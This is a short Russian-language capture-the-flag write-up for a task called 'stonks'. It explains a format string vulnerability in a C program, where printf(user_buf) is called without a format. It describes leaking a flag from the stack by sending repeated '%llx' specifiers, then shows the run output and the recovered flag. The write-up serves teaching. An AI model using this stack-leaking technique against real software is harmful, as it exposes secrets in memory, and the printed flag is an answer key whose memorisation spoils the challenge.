Задача 5: stonks

Скомпилируем программу:

```
gcc main.c -o main
```

При компиляции программы увидим warning:

```
main.c: In function 'buy_stonks':
main.c:93:9: warning: format not a string literal and no format arguments
[-Wformat-security]
93 |         printf(user_buf);
   |         ^~~~~~
```

В строке **93** в printf не указан формат вывода. **Это уязвимость форматной строки (format string vulnerability)**

Нам нужно напечатать некоторые данные, которые хранятся в api_buf[FLAG_BUFFER]

Это локальный массив, который будет размещаться в стеке. В свою очередь данные в api_buf[] будут считываться из файла api (конкретный пример приложен) при выполнении функции buy_stonks(). Значит resp должно быть равно 1. Далее посылаем некоторое количество спецификаторов формата (в зависимости от длины флага) “%llx”, чтобы затем получить данные из стека и вывести их в читабельном виде

Запустим:

```
python3 exploit.py
```

Получим:

```
[+] Starting local process './main': pid 1098
b'flag{foR'
b'm4t_stRi'
b'nGs_aRe_'
b'DanGer0u'
b's}\r\n\x00V'
[*] Stopped process './main' (pid 1098)
```

flag{foRm4t_stRinGs_aRe_DanGer0us}